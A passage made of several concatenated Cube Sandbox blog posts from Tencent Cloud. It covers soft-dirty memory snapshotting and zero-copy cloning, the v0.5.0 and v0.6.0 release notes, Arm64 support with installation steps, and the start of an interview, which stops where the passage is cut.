userspace as bit55 in `/proc//pagemap`), with a very simple state machine: | Trigger Action | Effect | | --- | --- | | Process writes to a page | The page's PTE soft-dirty bit is set by the kernel | | Userspace writes 4 to /proc/\/clear\_refs | The kernel walks all PTEs of the process, clears all soft-dirty marks, and changes the corresponding PTEs to read-only | | Another write after reset | Triggers a write-protection fault → kernel restores writable + re-sets soft-dirty | After a reset, bit55=1 precisely equals "this page has been written since the last reset". #### The Filter: Adding a Sliding Window Atop Anonymous Pages SoftDirty mode does not discard Incremental — it **superimposes an additional soft-dirty filter over its output set**: ``` Pages to write to snapshot = { p | present(p) ∧ anonymous(p) ∧ soft_dirty(p) } └─── Incremental set ───┘ └ incremental filter ┘ ``` `anonymous` narrows the scope to "pages written since boot" (see 3.3); `soft_dirty` further narrows to "pages written since the last reset". The former is a **cumulative window**, the latter a **sliding window** — their intersection is exactly the pages that "belong to this VM's private memory AND genuinely need to be flushed for this snapshot". In code, this is just one more bit read and one more bitwise AND in the same pagemap scan — **virtually zero additional cost**. And precisely because this is superposition rather than replacement, SoftDirty can "silently degrade" to Incremental when the kernel lacks support — the only thing lost is the final `∧ soft_dirty` term, with no correctness impact. ![SoftDirty timeline: cumulative window + sliding window](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/10_softdirty_timeline.png) #### First Snapshot: Why It "Automatically" Equals Incremental The initial state of soft-dirty is key: at the moment the kernel establishes a PTE for a page table entry, it **defaults soft-dirty to 1** — the kernel semantics are essentially "if this page has a PTE but you've never reset it, treat it as dirty". So when taking the first SoftDirty snapshot, the filter condition **automatically degenerates** to Incremental — it writes all anonymous pages, which is exactly the full baseline this snapshot needs. Only afterward do we call clear\_refs to zero out all soft-dirty bits, establishing the baseline for the "next steady-state snapshot". This is an elegant property: **SoftDirty's first snapshot requires zero special branching**. The filter formula `anonymous ∧ soft_dirty` is correct in both states — on the first snapshot, dirty is all-1s and it degenerates to Incremental; every subsequent snapshot gets the true delta. #### Two Iron Laws of Consistency For this mechanism to be correct, two conditions must hold: * **Reset and write must not interleave**. If guest writes are allowed between "reset → take next snapshot", you'd get a window where "I wrote but the bit was already cleared". v0.3.0's strategy: every time a SoftDirty snapshot is taken, the guest is already paused; the sequence "read pagemap → write snapshot → reset bits → resume" completes while paused. * **Reset must happen AFTER the snapshot, not BEFORE it**. This snapshot consumes the dirty marks accumulated **since the last reset**; after writing, we reset so the next snapshot has the correct baseline. The first snapshot follows this same iron law — it just consumes the "kernel-given initial all-1s", and the first clear\_refs after writing is what truly starts the "delta clock". #### Side Effect: The Cost of Reset Is Naturally Amortized clear\_refs is not free — the kernel performs a **full page table walk**, rewriting each PTE to read-only and clearing the bit. For a multi-GiB guest, this is a hundreds-of-milliseconds cost, and during the scan, subsequent guest writes will trigger additional write-protection faults. Thanks to the "first-snapshot-equals-Incremental" property above, v0.3.0 does not need to pay the reset cost upfront at VM boot/restore time for SoftDirty's sake (which would freeze the VM for hundreds of milliseconds the first time it enters userspace after becoming ready). Instead, the first clear\_refs is naturally deferred until after the first snapshot's "write" phase — at that point the user is already waiting for the snapshot command to return, and the reset cost is absorbed into an operation where the user already expects to spend time, making it imperceptible. #### Incremental vs. SoftDirty: Trade-offs | Dimension | Incremental | SoftDirty | | --- | --- | --- | | Kernel requirement | /proc/pagemap (universally available) | Additionally requires CONFIG\_MEM\_SOFT\_DIRTY | | Filter strength | Allocated anonymous pages | Allocated ∧ actually-written anonymous pages | | Side effects | None (reads pagemap fresh each time) | Yes (needs PTE reset, affects write-protection fault path) | | Suitable frequency | Low-to-mid frequency snapshots, first snapshot, degraded fallback | High-frequency checkpointing | | Behavior on failure | Always available | Automatically degrades to Incremental | ### 3.5 External Memory Volume Support Memory images can be written to independent storage media (separate volumes or paths) rather than co-located with the state JSON. This is helpful for distributing memory image I/O pressure across different storage pools: the internal mode favors "truncate and rebuild" to guarantee independence between snapshots; the external volume mode favors "open and write in-place", allowing the external volume to be reflink-reused across multiple snapshots. ## 4. Puzzle 3: Why Is Cloning N Copies "Zero-Copy"? ### 4.1 The Phenomenon Forking N clones from a running source sandbox in one operation adds almost no disk usage, yet each clone can read and write independently. Every clone satisfies three properties: | Property | Meaning | | --- | --- | | Inheritance | Each copy's initial state is identical to the source sandbox at clone time | | Isolation | Writes between copies are invisible to each other, and isolated from the source sandbox | | Continuity | The source sandbox continues running after clone() returns, its state unaffected | ### 4.2 Under the Hood: clone(n) Is Not a New Primitive — It's Three Old Primitives Composed `clone(n)` introduces zero new "clone RPCs" at the protocol layer. Conceptually it is equivalent to: ```python def clone(self, n=1, *, concurrency=1): snap = self.create_snapshot() # ① One snapshot of the source sandbox try: new_sbs = [Sandbox.create(template=snap.snapshot_id) for _ in range(n)] # ② n × create from snapshot finally: Sandbox.delete_snapshot(snap.snapshot_id) # ③ best-effort cleanup return new_sbs ``` ### 4.3 Under the Hood: How "Zero-Copy" and "Full Isolation" Coexist This is the result of the disk subsystem and memory subsystem mechanisms composing: | Dimension | What Is Shared | How Isolation Is Enforced on Write | | --- | --- | --- | | Disk rootfs | Shared XFS extents (refcount ≥ N+1) | XFS reflink CoW unshare | | Guest memory | Shared reflink-cloned memory-ranges file + physical pages | Process-private anonymous pages + kernel CoW (same semantics as fork) | So after clone(n=10), disk usage barely grows — 10 rootfses share the same set of XFS physical blocks; memory images also share the same set of extents. When any copy writes, the kernel handles the "split", and they don't interfere. ### 4.4 Under the Hood: Fail-Safe Semantics for Concurrent Clone ```python clones = src.clone(n=10, concurrency=5) ``` The concurrency parameter C keeps the first-step snapshot and the last-step snapshot deletion as singletons; only the N intermediate create-from-snapshot operations are parallelized. **All-or-nothing contract**: If any subtask fails, already-successful clones are automatically destroyed and the temporary snapshot is deleted. The caller gets either N sandboxes or an exception — **no orphan resources**. ### 4.5 Under the Hood: Continuity of the Source Sandbox When deriving the temporary snapshot, the VM internally executes pause → snapshot → resume, and the entire pause duration is typically under 100 milliseconds. After returning, the source sandbox continues running with the same PID and same memory mappings — that is the source of "continuity". ## Final Chapter: Connecting the Three Mechanisms — Cubelet's Three-Tier Degradation Strategy ![CubeSandbox end-to-end snapshot data flow & three-tier degradation strategy](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/11_degradation_strategy.png) On every snapshot submission, the node-side decides two things: which memory mode to use, and which historical volume to target as the reflink base. Three-tier degradation guarantees availability: the automatic soft-dirty → pagemap\_anon → full degradation chain ensures that any anomaly (base snapshot deleted, snapshot chain broken, kernel lacking soft-dirty support) never causes a user-visible failure — instead it silently upgrades to a correct but slightly larger snapshot. ## Afterword If you are building systems that require code execution, tool calling, or multi-Agent collaboration, we welcome you to explore and try Cube Sandbox. If you found this helpful, a ⭐ Star is much appreciated — Issues and PRs are also welcome. Every piece of feedback is fuel for the project's continued evolution. **Cube Sandbox: https://github.com/TencentCloud/CubeSandbox** *** Cube Sandbox is a high-performance, batteries-included secure sandbox service open-sourced by Tencent Cloud, built on RustVMM and KVM. It supports single-machine deployment and can scale out to multi-machine clusters. It is externally compatible with the E2B SDK and can create fully capable, hardware-isolated sandboxes within 60 ms while keeping the memory overhead under 5 MB. --- --- url: https://cubesandbox.com/blog/posts/2026-07-03-cubesandbox-v0.5.0-release.md description: >- If v0.3.0 solved 'fast' (millisecond snapshot / clone / rollback), and v0.4.0 solved 'governance' (L7 egress control + observability + cluster consistency), then v0.5.0 aims to solve 'stable, efficient, broad'. With 116 commits from 26 contributors, v0.5.0 brings four core features: AutoPause/AutoResume sandbox lifecycle automation, ARM64 full-stack native support, Tencent Cloud Terraform one-click cluster deployment, and network security enhancements. --- # Cube v0.5.0: Auto-Pause, ARM Support, One-Click Cluster Deploy — Taking Sandboxes to Production If Cube Sandbox v0.3.0 solved "fast" (millisecond snapshot / clone / rollback), and v0.4.0 solved "governance" (L7 egress control + observability + cluster consistency), then v0.5.0 aims to solve — "stable, efficient, broad." * **Efficient**: Agent sandboxes spend most of their time "waiting" — for user input, callbacks, the next rollout. v0.5.0 addresses the CPU and memory wasted during this "idle running." * **Broad**: The AI-era compute foundation is shifting from x86-only to x86 / ARM dual-track. v0.5.0 enables sandboxes to run natively on ARM. * **Stable**: v0.5.0 bridges the gap from single-machine demos to cloud cluster deployment, providing a production-grade one-click deployment architecture. ## 1. AutoPause / AutoResume: Teaching Sandboxes to "Sleep" In the Agent world, sandboxes are idle most of the time: waiting for the next user instruction, waiting for long-task callbacks, waiting for the next Agentic RL rollout. In production environments running thousands of sandboxes daily, this means burning server budgets for nothing. The first core feature of v0.5.0 is automatic pause (AutoPause) and resume (AutoResume) for sandboxes — implemented as a platform-side, per-sandbox capability. On the SDK side, `lifecycle` becomes a standard parameter of `Sandbox.create`, with semantics fully aligned with E2B: * When a sandbox is idle beyond its timeout, the control plane automatically snapshots its entire runtime state (filesystem + memory) to disk and instantly shuts down the underlying sandbox. At this point, the physical resources it occupied on the host are fully released. * When a new network request arrives, the data-plane CubeProxy automatically intercepts it, wakes up the sandbox in-place within tens of milliseconds, and seamlessly takes over subsequent traffic. This state machine switching is entirely orchestrated by the platform. Since pause/resume is currently a single-machine behavior, to prevent single-node resource overload, we introduced a node-level config: `host.quota.paused_resource_release_ratio` (proportional resource release on pause). * If set to 0, pause does not release scheduling quota; * If set to 1, all scheduling quota for paused resources is released, maximizing node scheduling density. When a large batch of sandboxes on a node is simultaneously woken up and the single node cannot handle the load, the control plane returns an error with the specific quota numbers. Currently, users need to balance availability and high utilization through reasonable configuration. In the future, we will make resume capability break beyond single-machine boundaries, enabling sandbox recovery to freely drift within the cluster, maximizing cluster-wide utilization and making auto pause/resume truly production-ready. ## 2. ARM Native Support: Officially Entering the "Dual-Track Architecture" Era In v0.5.0, the Arm engineering team and the Cube project team conducted deep joint R\&D. From code adaptation, runtime environment, image building to basic functional verification, Cube Sandbox now has the capability to natively deploy, compile, launch, and run typical sandbox workloads on the Arm64 platform. The project status has advanced from early feasibility validation to formal Enablement. To achieve ultimate results on "Agent-native metrics," the two teams focused on key issues including x86-bound dependencies, hypervisor differences, Multi-Arch images, Guest Kernel boot paths, and build verification flows, for example: **1. Eliminating x86 bindings and hardcoded assumptions:** Cleaned up legacy x86 architecture assumptions and build dependencies. **2. Bridging the underlying architecture gap across hypervisors** * **I/O system architecture transition**: We rewrote the Guest-to-Host control notification channel from **PIO to MMIO**; * **Boot path reconstruction**: x86 machines boot via lightweight SeaBIOS; for the ARM architecture, we reworked the boot logic to properly use UEFI firmware; * **Seccomp sandbox alignment**: Rewrote filter rules for the syscall number differences between x86 and ARM64. This enables Cube Sandbox to deploy, compile, and pass basic functional verification on the Arm platform. More importantly, the two teams shifted optimization targets from traditional CPU benchmarks to the metrics that Agent scenarios truly care about — launch, Snapshot, Rollback, high concurrency, and deployment density — helping users obtain more usable, more accessible, and more production-relevant Arm-native sandbox capabilities. **For more detailed information about the Cube Sandbox Arm version, please stay tuned for the dedicated report on the Cube official account next week.** ## 3. Tencent Cloud Terraform Cluster Deployment: From "Works" to "Production-Ready" v0.5.0 brings an officially developed Tencent Cloud Terraform cluster deployer. All you need is a release bundle — run `create.sh` as the single entry point, and the managed IaC process takes care of everything else. It automatically plans and provisions: * **Managed control plane**: Spins up cubemaster, cube-api, cubeproxy (replacing the legacy routing layer), and cube-webui on Tencent Cloud TKE (Container Service). To accommodate different business scales and cost expectations, the control plane replicas adopt a more sophisticated HA design: * **Default POC mode**: Control plane components default to 1 replica — lightweight with no extra overhead, ideal for quick validation; * **cubeproxy stays single-replica by default**: Due to the current lifecycle implementation, multiple replicas would affect the reliability of auto-pause/resume decisions. To ensure absolute stability of the auto-sleep/wake feature, the current version strongly recommends keeping it at 1 replica. Future versions will decouple lifecycle management from cubeproxy, enabling multi-replica HA; * **cubemaster with CFS image sharing**: For cubemaster multi-replica disaster recovery, simply enable Tencent Cloud File Storage CFS (shared storage) with `TENCENTCLOUD_USE_CFS=true`. Multiple control plane replicas can then share the same underlying image repository (`/data/CubeMaster/storage`) via ReadWriteMany NFS mounts, elegantly achieving seamless multi-machine failover. * **Highly available middleware**: The backend automatically provisions cloud database MySQL and cloud cache Redis, persisting metadata and state in managed cloud services — completely eliminating the risks of single-machine container mounts. * **Elastic compute nodes**: Within a private VPC, you can elastically configure one or more CVM PVM instances or bare-metal instances as sandbox compute nodes. Additionally, `--mode upgrade` (online upgrade flow) is officially merged into the one-click installer in this version. Upon detecting an existing installation, it automatically performs a three-way `.env` config merge — preserving your customizations while smoothly merging in new default configs, with fail-fast pre-checks for disk space, semver compatibility, and network CIDR conflicts before upgrading. Starting from v0.5.0, Cube upgrades and cluster scaling become a predictable, reentrant standard operation. ## 4. Network Enhancements: Inbound Sandbox Access Auth, Outbound Policy Routing Agent sandbox networking must achieve extreme security inbound and extreme control outbound. v0.5.0 delivers two key patches for the data-plane network: * **Inbound — Per-sandbox traffic access token**: Previously, once a sandbox network was connected, its ingress traffic was essentially "running naked." Now, restricted sandboxes created with `network.allow_public_traffic=false` are assigned a unique `traffic_access_token`. CubeProxy forcefully intercepts any inbound request without this token, returning 403. * **Outbound — Policy routing support**: Previously, all sandbox egress traffic was forwarded through the host's primary NIC, even if the node had multiple NICs with different routes or tunnel devices. The new version supports policy routing — traffic goes through a virtual NIC `cube-router`, where node administrators can configure policy routing as needed, seamlessly integrating with existing network infrastructure. Typical scenarios include host internal/external network separation and sharing public gateways via tunnels. ## 5. Other Important Updates In addition to the core features above, v0.5.0 includes several other noteworthy updates: * **Pure Go native rootfs export**: Rewrote the rootfs export path in native Go (concurrent prefetch + streaming extraction + on-the-fly decompression), reducing **peak memory by 39% and build time by 16%**; * **Fixed high-concurrency rollback deadlock**: Refactored the snapshot runtime binding model and introduced distributed locks, eliminating the **MySQL 1213 deadlock risk during concurrent rollbacks** at the database level; * **Preserved original image ownership**: Fixed the historical bug of force-squashing uid/gid to root, **preserving original image user ownership and resolving the permission pain point for non-root images like Chromium that couldn't start**; * **Inject envs at sandbox creation**: The E2B-compatible SDK now supports injecting envs at sandbox creation time, aligning with the E2B spec. ## Coming Soon... Next, Cube will evolve toward deeper cloud-native and data decoupling, bringing several important new features: * **K8s-native deployment and scheduling**: We will deeply support Kubernetes, enabling Agent sandboxes to seamlessly integrate into any standard K8s cluster like ordinary Pods, enjoying the full governance and elasticity of the cloud-native ecosystem. * **Persistent Volume support**: Decoupling "data" from "sandbox lifecycle." Sandbox instances can be paused or destroyed at any time, but Volumes can persist across sessions and be mounted on demand, giving Agents true "long-term memory." * **Distributed cross-machine pause/resume**: Breaking single-machine physical boundaries to achieve **"pause on node A, resume on node B"** cross-machine state migration, maximizing cluster resource utilization. * **Full E2B protocol alignment**: We will continue to fill in the remaining protocol details and enterprise features, ensuring users can seamlessly migrate production workflows from E2B to Cube with a single switch. And more new features to explore... From "single-machine isolation" to "elastic clusters" to "seamless migration," we want to truly equip Cube with richer capabilities for the enterprise production environment. If you're building Agent workflows, Agentic RL training platforms, or developer-facing code execution services, come check out the project on GitHub — file issues, send PRs, or just say hi. **GitHub repo**: https://github.com/TencentCloud/CubeSandbox **v0.5.0 full Changelog**: https://github.com/TencentCloud/CubeSandbox/blob/master/docs/changelog/v0.5.0.md --- --- url: https://cubesandbox.com/blog/posts/2026-07-08-cubesandbox-arm-support.md description: >- On July 3, Tencent Cloud open-sourced the AI Agent secure sandbox Cube Sandbox v0.5.0. Native Arm support — one of the headline features — has been merged upstream with substantial investment from the Arm engineering team. Developers can now build, deploy, launch, and run typical sandbox workloads end-to-end on AArch64 servers. --- # Cube Sandbox Officially Supports Arm: Tencent Cloud and Arm Team Up to Unlock Multi-Architecture Compute for Agents On July 3, Tencent Cloud released **Cube Sandbox v0.5.0**, the open-source AI Agent secure sandbox. Built as a hardware-isolated runtime foundation purpose-designed for LLM applications, v0.5.0 lands a set of production-critical upgrades under the banner of "stable, efficient, broad." Among them, **native Arm support** — one of the headline features — has been merged upstream with substantial investment from the Arm engineering team. (See the v0.5.0 deep dive: [Cube v0.5.0 Released: Auto-Pause, ARM Support, One-Click Cluster Deploy — Taking Sandboxes to Production](https://mp.weixin.qq.com/s?__biz=MzYzNDkyMDU3MQ==\&mid=2247483839\&idx=1\&sn=bd0f059a3e3be0654f1c1ca89e4e8107\&scene=21#wechat_redirect)) Developers can now carry out the full pipeline on **AArch64** servers — native build, deploy, launch, and run typical sandbox workloads. To clear the critical path from low-level build through runtime, Tencent Cloud's IaaS frontier tech team and the Arm engineering team ran a months-long joint R\&D effort, focused squarely on **AArch64 builds, the Guest Kernel, the runtime environment, and the deployment chain**. As compute supply accelerates into an "x86 + Arm" multi-architecture era, the industry urgently needs an Agent runtime foundation that breaks past traditional architecture boundaries. v0.5.0 extends Cube's core isolation capabilities into the Arm ecosystem — not only as a step up in production-grade delivery, but as a reliable, flexible execution substrate for Agents operating across the cloud, edge, and endpoint in heterogeneous scenarios. ## 1. When the Compute Platform Goes Heterogeneous If "putting AI Agents into production at scale" is a stress test of the underlying infrastructure, two variables are visibly shifting at once: **First, the workload side.** Today's Agents are no longer one-shot scripts — they evolve into dozens or hundreds of serial or parallel tool calls. Each call implies a sandbox start, a period of isolated execution, and a result collection. This workload pattern places extreme demands on the underlying infrastructure: it must deliver both **very high compute density** and **extremely fast elastic response**. **Second, the infrastructure side.** AI-era compute supply is rapidly moving from a single architecture to an "x86 + Arm" dual-track. Driven by the energy efficiency and performance advantages of the Arm Neoverse platform in cloud AI workloads, Arm architecture is seeing broad industry adoption. With Arm compute platforms like Amazon Graviton, Google Cloud Axion, and Microsoft Azure Cobalt continuing to scale, alongside a wave of domestic Arm processors being rapidly deployed, the Arm ecosystem is accelerating. **"AI runs on Arm"** has shifted from a curiosity to a **real line item in the budget**. Stack these two variables together and the conclusion is clear: Agent sandboxes can't be locked to x86. They have to ship deployment capabilities across multi-architecture server environments. Going further, it isn't enough to simply "run" on Arm — they need to deliver **performance on par with — or better than — x86** on that platform. That is the starting point for the joint R\&D between the Cube team and the Arm engineering team. ## 2. From "Runs" to "Native" From the moment the Arm engineering team first engaged, to the code being formally merged upstream, this joint R\&D effort spanned several months. What truly moved the project from "runs" to "usable" was the intense polish of the final stretch — the mainline merge alone went through more than twenty commits. The core of this delivery is: Cube Sandbox now has the **end-to-end capability to deploy natively, compile, launch, and run typical sandbox workloads on AArch64**, and the project has formally entered the Enablement stage. Specifically, this update goes deep on four key layers: **First, native compilation and build.** The team cleared out the x86/amd64 default assumptions scattered across build scripts, Dockerfiles, and components, so the system correctly builds and emits output for the target architecture. To lower the bar for developers, the team also reworked the build chain: the Guest kernel build is now configured as a standalone target that supports cross-architecture cross-compilation. In other words, developers can produce an Arm kernel image from an x86 machine — no need to have Arm hardware on hand to get started. **Second, native ecosystem deployment.** To fit diverse compute environments, the team connected the full chain from deployment-package generation all the way to sandbox bring-up. By reworking the build toolchain, developers now need only a single `docker buildx` command to produce multi-architecture images that target both x86 and Arm — letting Cube Sandbox slot into existing CI/CD pipelines seamlessly. **Third, smooth startup.** To address the underlying architectural differences between Arm and x86, the team refactored the boot path and I/O logic. By introducing **UEFI firmware** to replace the legacy SeaBIOS, and through deep adaptation of the Hypervisor layer, the team made sure that sandboxes boot as quickly and as stably on Arm servers as they do on x86. **Fourth, efficient runtime at a native level.** The two teams stepped out of the traditional CPU-benchmark mindset and instead focused on the metrics that Agent production environments actually care about: **cold start, snapshot creation and rollback, high-concurrency creation, and per-host deployment density** — making sure Cube Sandbox doesn't just "run" on Arm, but runs *fast* and runs *steady*. If "runs" is the floor, "usable" is the ticket handed to developers. Crossing this line means developers can now weave Cube Sandbox into real production workflows. ## 3. How Cross-Architecture Was Made Real This path was so challenging because what Cube Sandbox had to port wasn't a normal application — it was an entire sandbox runtime system designed for AI Agents. It spans the external build and image artifacts, but also the Guest Kernel and Guest Agent inside the sandbox, and underneath that the virtualization and security-isolation layers. To deliver the best possible results on "Agent-native metrics," the two teams focused on the following key technical problems: **First, eliminate x86 dependencies and hardcoded assumptions.** A lot of infrastructure projects, over years of evolution, end up treating x86 as the default environment. The first step in Cube Sandbox's port was to dismantle the hardcoded `x86_64` / `amd64` settings in build scripts, Dockerfiles, and components. That includes making Go components auto-track the host architecture as their build target, and filling in the **AArch64**-specific compile headers for the bytecode generation logic in the network module — so the project truly has cross-architecture build and multi-architecture output capability. **Second, bridge the hypervisor's underlying-architecture gap.** This was the most complex piece of the adaptation — touching the I/O system, the boot path, and the security mechanism, all in one go: * **I/O system architectural transition:** The Guest-to-Host control-notification channel was rewritten from legacy PIO (Programmed I/O) to **MMIO (Memory-Mapped I/O)**, to match Arm architecture characteristics. * **Boot path reconstruction:** x86 machines boot through lightweight SeaBIOS; for Arm, the team reworked the boot logic so UEFI firmware can be used normally. * **Seccomp sandbox alignment:** Filter rules were rewritten to account for the syscall-number differences between x86 and **AArch64**, so the security-isolation mechanism stays effective across multi-architecture environments. **Finally, re-validate the virtualization and security chain.** Cube Sandbox's core value is hardware-level isolation for Agents, and that leans on KVM, the hypervisor, and other low-level capabilities. Just compiling cleanly isn't enough — this round of changes spans the virtualization layer, the network module, and the build toolchain, across multiple subsystems. During the multiple rounds of cross-review between the two teams, a subtle bug was caught and fixed that would have broken the base-library path. This kind of repeated calibration on low-level details is what guarantees stable operation in multi-architecture environments. This is also why the Arm engineering team went deep on the engagement. They didn't stop at the code merge — they focused on establishing a **bootable, communicative, verifiable compatibility chain on AArch64**, so that Cube delivers the same determinism and stability on heterogeneous platforms as it does on native ones. ## 4. Running Your First Arm Sandbox on Cube **Environment requirements:** * **Hardware:** AArch64 Linux server (a physical machine with virtualization extensions enabled) * **OS:** OpenCloudOS 9 (kernel 6.6) recommended * **Must run as root + Docker daemon running** > ⚠️ **Note:** PVM nested virtualization is not yet supported on Arm. Please use a physical machine / bare-metal with native KVM (cloud VMs must have Arm nested virt enabled). ### Step 1: Download and install ```bash # 1. Download the ARM64 one-click bundle wget https://github.com/TencentCloud/CubeSandbox/releases/download/v0.5.0/cube-sandbox-one-click-v0.5.0-arm64.tar.gz # Users in China can use the mirror: wget https://cnb.cool/CubeSandbox/CubeSandbox/-/releases/download/v0.5.0/cube-sandbox-one-click-v0.5.0-arm64.tar.gz # 2. Extract and enter the directory tar -xzf cube-sandbox-one-click-v0.5.0-arm64.tar.gz cd cube-sandbox-one-click-v0.5.0-arm64 # 3. Generate the config file (defaults work for most scenarios) cp env.example .env # If eth0 is not your primary NIC, edit .env to set the IP explicitly: # CUBE_SANDBOX_NODE_IP= # If the default CIDR 192.168.0.0/18 conflicts with your host network, change it too: # CUBE_SANDBOX_NETWORK_CIDR= # 4. One-click install sudo ./install.sh ``` ### Step 2: Deployment verification & environment variables ```bash # Health check sudo ./smoke.sh # Set 4 environment variables on the client (for local testing you can run everything on the same box) export CUBE_TEMPLATE_ID= export E2B_API_URL=http://:3000 export E2B_API_KEY=e2b_000000 # any local string is fine export SSL_CERT_FILE=/root/.local/share/mkcert/rootCA.pem ``` ### Step 3: Spin up your first sandbox ```python # Use the e2b-code-interpreter SDK to spin up your first ARM sandbox import os from e2b_code_interpreter import Sandbox with Sandbox.create(template=os.environ["CUBE_TEMPLATE_ID"]) as sbx: print(sbx.run_code("import platform; print(platform.machine())")) # Expected output: aarch64 ``` For the full set of configuration options, the deployment flow, and detailed instructions, see the official docs → ## 5. Closing Back to the engineering itself, the key thing about Cube Sandbox v0.5.0 isn't just "supports Arm" — it's that it has systematically crossed the threshold barriers that an Agent sandbox must clear in an **AArch64** environment, so that Arm is no longer merely a compatibility target for Cube Sandbox, and is starting to become a real, buildable, bootable, verifiable runtime option for Agent secure execution. For teams building AI Agent workflows, Agentic RL training platforms, or code-execution services on Arm servers, the current version already provides a viable starting point. As cold start, snapshot rollback, concurrent creation, and deployment density continue to improve, Cube Sandbox's production value in heterogeneous compute scenarios will only grow. The project is open source on GitHub — feel free to read the code, file an Issue, or contribute via PR. * **GitHub repo:** If you like what you see, a Star 🌟 would mean a lot. --- --- url: https://cubesandbox.com/blog/posts/2026-07-24-cubesandbox-v0.6.0-release.md description: >- Today (July 24), Cube Sandbox v0.6.0 is officially released. This version merges 92 commits from 31 contributors, bringing six core features. Among them, K8s and Volume support are the two most requested by the community and the biggest highlights of this release. --- # Cube Sandbox v0.6.0: K8s Deployment, Volume Framework Lead Six Capabilities Toward Production Today (July 24), Cube Sandbox v0.6.0 is officially released. If previous versions were about giving Cube solid foundational capabilities, v0.6.0 goes deeper into stability, fault tolerance, operations, and observability, while introducing more flexible extensibility and storage support. This version merges 92 commits from 31 contributors, bringing six core features. **Among them, K8s and Volume support are the two most requested by the community and the biggest highlights of this release.** ## K8s Deployment: Control Plane and Compute Nodes Both Supported Starting from this version, both Cube's control plane components and compute nodes can be deployed directly to K8s clusters via Helm Chart — whether on Tencent Cloud TKE, standard K8s, or lightweight k3s. From a technical standpoint, the value here is handing Cube's lifecycle back to K8s's control loop. In the past, bringing Cube to production often meant maintaining a separate deployment, upgrade, and scaling workflow outside the cluster — Cube was like a "bolt-on system" that needed special attention. Now, control plane components run as standard workloads, and compute nodes are incorporated into cluster management as schedulable, orchestrable resources. Rolling updates, canary releases, horizontal autoscaling — all native K8s capabilities — work on Cube as-is. Cube goes from being a "special object" to an ordinary member of the cluster. It should be noted that K8s deployment is currently in preview, and advanced capabilities like smooth upgrades are still being refined. The direction is clear: make Cube truly K8s-native. We welcome you to try it out and feed back any rough edges you encounter. ## Volume Framework: Giving the Choice of Storage Back to Users How sandboxes persist and share data is a concern for many teams. Starting from v0.6.0, an **E2B-compatible Volume framework** has been officially introduced. Its design core is **customizability**. The framework itself is not bound to any specific storage implementation. Instead, it abstracts four HOOK points — Create, Destroy, Attach, and Detach — through which all sandbox-storage interactions are channeled. To plug in your own backend storage, you simply implement these hooks — no changes to the Cube core needed. Two plugin forms are available: a standalone executable (simpler to deploy, better isolation) or an RPC call (better suited for complex or long-running storage services). E2B compatibility means workloads written for the E2B Volume protocol can migrate smoothly to a self-hosted Cube cluster. This version already supports Volume lifecycle management, sandbox-Volume binding APIs, and the accompanying SDK and CLI capabilities. In other words, the initiative for "what storage the sandbox uses" is now back in your hands. ## Template Aliases: Giving Templates a Memorable Name Previously, launching a sandbox required specifying a long template identifier — error-prone and hard to remember. Now, you can set an alias when creating a template, and use that alias to create sandboxes directly — intuitive and less error-prone. The Python SDK already supports creating sandboxes by alias; other SDKs will follow. ## Configurable Inbound Request Host: Better Compatibility for In-Sandbox Services Some applications rely on the request's Host header for routing, validation, or callbacks, and the default forwarded Host may not meet their needs. This version allows specifying the Host to forward to in-sandbox services at sandbox creation time, so these "Host-picky" services can also run smoothly on Cube — better compatibility, one step further. ## Compute Node Isolation: Peace of Mind for Operations Operations inevitably require logging into nodes for maintenance, upgrades, or troubleshooting. This version **supports "isolating" a compute node at the scheduling layer** — once isolated, the scheduler stops assigning new sandboxes to that node, while existing sandboxes on the node continue running unaffected. Simply remove the isolation when maintenance is done. This makes operational actions both safe and controllable — no more hesitation over "will this affect production?" ## CubeOps as a Standalone Service: Making CubeAPI Lighter and More Focused We've spun out the web console and operations-related logic from the CubeAPI module into a standalone CubeOps service. This decoupling lets CubeAPI return to a purer role with clearer responsibilities and easier extensibility, while the operations and console capabilities gain room to evolve independently. This is also an important step in Cube's move toward a modular, composable architecture. ## Other Updates and Fixes Beyond the six core features, v0.6.0 includes a batch of stability and usability improvements: * Paused-state sandboxes can now be deleted * New PostgreSQL metadata backend * In-sandbox cgroup upgraded from v1 to v2 * Cubelet state storage supports dynamic expansion * Fixed interactive terminal, authentication, and protocol frame issues across multiple SDKs * Network and security proxy aligned with E2B error code semantics and enhanced TLS compatibility * Fixed CVE vulnerabilities and updated the PVM kernel * Accompanying Kubernetes deployment, node isolation, Volume plugin, and other docs are now live in both Chinese and English… ## Coming Soon… v0.6.0 is a step toward "production-ready," and Cube's direction has always been clear — cloud-native, E2B-compatible, highly available, stateful. Along these four themes, v0.7.0 and subsequent versions are in progress: * **Making K8s deployment more "native"**: Moving from Helm deployment to CRD- and Operator-based native management, and filling in smooth upgrade capabilities. * **Cross-machine pause and resume**: Cluster-wide cross-node pause and resume — pausing a sandbox on one host, migrating it to another, and fully restoring it, preserving memory and filesystem state, to improve cluster-wide resource utilization. * **End-to-end high availability**: Separation of execution and operations flows, HA deployment for all control plane components, and sandbox recovery on compute node failure. * **Continued E2B alignment**: Closing remaining API gaps, providing E2B-compatible metrics endpoints, so E2B-targeted workloads can be adopted with zero changes. * **Performance and operations, further**: Optimizing business process IO efficiency, providing one-click performance testing tools, and continuously filling in the operational and observability capabilities needed for real production deployments. If you're looking for a high-performance, easy-to-operate, E2B-compatible sandbox solution, give v0.6.0 a try now. Whether it works smoothly, where it gets stuck, what's still missing — these real voices tell us more about the next step than any roadmap ever could. See you on GitHub: https://github.com/TencentCloud/CubeSandbox v0.6.0 full Changelog: https://github.com/TencentCloud/CubeSandbox/blob/master/docs/changelog/v0.6.0.md --- --- url: >- https://cubesandbox.com/blog/posts/2026-08-13-cubesandbox-agent-infra-interview.md description: >- In early 2026, OpenClaw single-handedly sparked a local terminal Agent craze, and people began handing over file systems, browsers, email, terminals, and various account permissions to Agents. But behind the hype lies a risk more immediate than model hallucination. This article is InfoQ's exclusive interview with Jin Feng, head of Tencent Cloud's IaaS Frontier Technology Team, exploring Cube's evolution from Serverless infrastructure to Agent sandbox and the path from 'can run' to 'production-ready.' --- # From Sub-100ms Startup to Production-Grade Deployment: Why Tencent Cloud Rebuilt the Agent Sandbox > This article was first published by InfoQ as an exclusive interview with Jin Feng, head of Tencent Cloud's IaaS Frontier Technology Team, and is reproduced here with permission. In early 2026, OpenClaw single-handedly sparked a local terminal Agent craze, and people began handing over file systems, browsers, email, terminals, and various account permissions to Agents. "Raising shrimp," as it were, became the trendiest thing in the first half of the year. But 